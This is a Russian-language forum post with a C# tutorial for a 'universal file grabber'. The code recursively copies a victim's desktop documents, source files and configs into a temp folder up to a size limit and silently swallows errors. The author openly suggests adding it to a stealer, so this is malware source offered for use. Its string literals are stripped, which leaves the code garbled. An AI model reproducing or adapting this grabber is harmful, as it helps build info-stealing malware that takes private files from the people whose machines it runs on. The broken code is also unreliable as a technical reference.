Универсальный граббер файлов

Тема в разделе "Программирование", создана пользователем Antlion, 27 июн 2019.

  1. Antlion

    Antlion New Member

    Сообщения:
    14
    Симпатии:
    0
    Сегодня напишем граббер файлов с рабочего стола с подпапками и.т.д.
    Переделывайте под себя как угодно, если есть что подправить пишите может сделаю.

    Итак поехали..

    Сначала создадим консольный проект..

    Создадим класс GlobalPath.cs из которого будем брать наши пути от куда граббить и.т.д

    Код:
    using System;
    using System.IO;

    public class GlobalPath
    {
    public static readonly string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
    public static readonly string DefaultTemp = string.Concat(Environment.GetEnvironmentVariable(temp), );
    public static readonly string User_Name = string.Concat(DefaultTemp, Environment.UserName);
    public static readonly string GrabberDir = Path.Combine(User_Name, All_Files);
    }
    Класс для сбора файлов GetFiles.cs - тут вся логика.

    Код:
    using System;
    using System.Collections.Generic;
    using System.IO;

    public partial class GetFiles
    {
    // Список расширений для сбора
    public static string[] Extensions = new string[]
    {
    .txt, .doc, .cs, .Dll, .Html, .Htm, .Xml,.Php, .json, .suo, .sln
    };

    public static void Inizialize()
    {
    if (!Directory.Exists(GlobalPath.GrabberDir))
    {
    try
    {
    Directory.CreateDirectory(GlobalPath.GrabberDir);
    }
    catch { }
    Inizialize();
    }
    else
    {
    // 5500000 - 5 MB | 10500000 - 10 MB | 21000000 - 20 MB | 63000000 - 60 MB
    CopyDirectory(GlobalPath.DesktopPath, GlobalPath.GrabberDir, *.*, 63000000);

    // CopyDirectory([From]], [To], *.*, [Limit]);
    }
    }
    private static long GetDirSize(string path, long size = 0)
    {
    try
    {
    foreach (string file in Directory.EnumerateFiles(path))
    {
    try
    {
    size += new FileInfo(file).Length;
    }
    catch { }
    }
    foreach (string dir in Directory.EnumerateDirectories(path))
    {
    try
    {
    size += GetDirSize(dir);
    }
    catch { }
    }
    }
    catch { }
    return size;
    }

    public static void CopyDirectory(string source, string target, string pattern, long maxSize)
    {
    var stack = new Stack<Folders>();
    stack.Push(new Folders(source, target));
    long size = GetDirSize(target);
    while (stack.Count > 0)
    {
    Folders folders = stack.Pop();
    try
    {
    Directory.CreateDirectory(folders.Target);
    foreach (string file in Directory.EnumerateFiles(folders.Source, pattern))
    {
    try
    {
    if (Array.IndexOf(Extensions, Path.GetExtension(file).ToLower()) < 0)
    {
    continue;
    }
    string targetPath = Path.Combine(folders.Target, Path.GetFileName(file));
    if (new FileInfo(file).Length / 0x400 < 0x1388) // 1024 < 5000
    {
    File.Copy(file, targetPath);
    size += new FileInfo(targetPath).Length;
    if (size > maxSize)
    {
    return;
    }
    }
    }
    catch { }
    }
    }
    catch (UnauthorizedAccessException) { continue; }
    catch (PathTooLongException) { continue; }
    try
    {
    foreach (string folder in Directory.EnumerateDirectories(folders.Source))
    {
    try
    {
    // по умолчанию на рабочем столе есть папка с именем пользователя, в которой слишком много файлов ( это очень утомительный процесс) поэтому обойдём эту папку.
    if (!folder.Contains(Path.Combine(GlobalPath.DesktopPath, Environment.UserName)))
    {
    stack.Push(new Folders(folder, Path.Combine(folders.Target, Path.GetFileName(folder))));
    }
    }
    catch { }
    }
    }
    catch (UnauthorizedAccessException) { continue; }
    catch (DirectoryNotFoundException) { continue; }
    catch (PathTooLongException) { continue; }
    // Исключения можете ловить на свой вкус, лично я предпочитаю продолжить сбор в случае получения каких-либо исключений.
    }
    stack.Clear();
    }
    }
    Теперь свойства и интерфейс классы:

    Код:
    public partial class GetFiles
    {
    public class Folders : IFolders
    {
    public string Source { get; private set; }
    public string Target { get; private set; }

    public Folders(string source, string target)
    {
    this.Source = source;
    this.Target = target;
    }
    }
    }

    public interface IFolders
    {
    string Source { get; }
    string Target { get; }
    }
    В классе Program.cs запишем вызов граббера

    Код:
    namespace FileGrabber
    {
    using System;
    using System.Diagnostics;
    using System.Threading.Tasks;

    internal static class Program
    {
    // Universal File Grabber
    // Author: Antlion
    // https://github.com/r3xq1

    private static readonly Stopwatch sw = Stopwatch.StartNew(); // Для подсчёта времени выполнения метода GetFiles.Inizialize();
    private static void Main()
    {
    Console.Title = Universal File Grabber;
    Task.Factory.StartNew(() => { GetFiles.Inizialize(); }).Wait();
    sw.Stop();
    Console.WriteLine(Копирование завершено!);
    Console.WriteLine($Затраченное время: {sw.Elapsed.TotalMilliseconds} мс);
    //File.AppendAllText(FastTime.txt, $Затраченное время: {sw.Elapsed.TotalMilliseconds} мс);
    Console.ReadKey();
    }
    }
    }
    Вот и всё граббер файлов готов. Можно запихнуть в стиллер и.т.п =)p>

Поделиться этой страницей